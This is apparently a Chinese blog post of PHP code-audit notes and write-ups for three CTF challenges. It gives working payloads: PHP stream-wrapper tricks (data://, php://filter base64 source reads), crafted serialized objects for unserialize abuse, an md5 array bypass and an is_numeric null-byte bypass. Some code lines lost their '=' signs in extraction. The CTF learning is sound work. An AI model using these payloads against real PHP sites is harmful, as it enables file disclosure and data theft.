PHP代码审计学习笔记

[ZJCTF 2019]NiZhuanSiWei1  Writeup

打开题目看到源码:

 需要传入三个参数以get的方式:

其中text需要满足:text=welcome to the zjctf

看到include($file);中有提示 useless.php说明我们需要早file中访问useless.php

输入参数发现没有显示,查找资料看到了PHP伪协议

 所以我们要用伪协议传入输入流,也就是构造payload

text=php://input

text=data://text/plain,welcome to the zjctf

至于file可以通过访问useless.php的base64编码,来得到useless.php 也是用到了PHP的伪协议:

file=php://filter/read=convert.base64-encode/resource=useless.php

得到useless.php

<?php  

class Flag{  //flag.php  

    public $file;  

    public function __tostring(){  

        if(isset($this->file)){  

            echo file_get_contents($this->file);

            echo "<br>";

        return ("U R SO CLOSE !///COME ON PLZ");

        }  

    }  

}  

?>  

Include($file)在上面,file的payload中访问的useless.php

还有就是password,password在源代码中利用了反序列化:

 $password unserialize($password);

因此我们需要将password里面的值进行序列号化,那password的值需要参考useless.php

<?php  

class Flag{  //flag.php  

    public $file="flag.php";  

    public function __tostring(){  

        if(isset($this->file)){  

            echo file_get_contents($this->file);

            echo "<br>";

        return ("U R SO CLOSE !///COME ON PLZ");

        }  

    }  

}  

$a = new Flag();

echo serialize($a);

?>

其实也可以简化成:

<?php  

class Flag{  //flag.php  

       public $file="flag.php";

           }

$a = new Flag();

echo serialize($a);

?>

最后的payload为:        ?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

学到的PHP知识:

isset()是判断是否设置了,就是那种需要设置了才存在,没有设置就不存在的

file_get_contents()

[MRCTF2020]Ez_bypassxc writeup

看到源码:

需要以get的方式传入id和gg,满足md5($id) === md5($gg) && $id !== $gg   传入数组实现绕过payload为:url+?gg[]=1&id[]=2  然后就是passwd

要以post的方式传入,并且绕过函数if (!is_numeric($passwd))  也以post方式传入不是数字以及数字符串的值,并且要为1234567才能显示flag.php

参考文章(1条消息) php中is_numeric函数的绕过_T0mrvvi1b3t的博客-CSDN博客

 在burp suite中抓包:

 以post传入passwd=1234567%00后得到flag

[网鼎杯 2020 青龙组]AreUSerialz 1  writeup

查看源码:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;

    protected $filename;

    protected $content;

    function __construct() {

        $op "1";

        $filename "/tmp/tmpfile";

        $content "Hello World!";

        $this->process();

    }

    public function process() {

        if($this->op == "1") {

            $this->write();

        } else if($this->op == "2") {

            $res $this->read();

            $this->output($res);

        } else {

            $this->output("Bad Hacker!");

        }

    }

    private function write() {

        if(isset($this->filename) && isset($this->content)) {

            if(strlen((string)$this->content) > 100) {

                $this->output("Too long!");

                die();

            }

            $res file_put_contents($this->filename$this->content);

            if($res$this->output("Successful!");

            else $this->output("Failed!");

        } else {

            $this->output("Failed!");

        }

    }

    private function read() {

        $res "";

        if(isset($this->filename)) {

            $res file_get_contents($this->filename);

        }

        return $res;

    }

    private function output($s) {

        echo "[Result]: <br>";

        echo $s;

    }

    function __destruct() {

        if($this->op === "2")

            $this->op "1";

        $this->content "";

        $this->process();

    }

}

function is_valid($s) {

    for($i 0$i strlen($s); $i++)

        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

            return false;

    return true;

}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];

    if(is_valid($str)) {

        $obj unserialize($str);

    }

}

进行代码审计:

输入点为以get的方式提交str,这里对str的值进行了反序列化,所以考察的知识点即为构造序列化,

以及在is_valid的函数中对str的值进行了过滤,ASCII必须在32-125之间,通过学习看到了可以利用str进行对file的访问,但op必须等于2时才能进行文件路径的读取。

在这里找到了

(4条消息) [网鼎杯 2020 青龙组]AreUSerialz 1_fmyyy1的博客-CSDN博客  学习了这篇文章

在process()函数中,传入的op要和"2"比较,在__desturct函数如果等于"2"的话op会被转成1,但__desturct函数里的是=== 等号强比较,process()是==若比较,所以只要传入整数型的2就可绕过,

如果进行构造protected类型的序列化字符串会出现\x00*\x00\x00的ascii的值是0php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过

<?php

class FLAG {

    public  $op = 2;

    public  $filename = "flag.php";

    public  $content = "ABC";      

}

$a = new FLAG();

$b = serialize($a);

echo $b;

?>

参考脚本如上:

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值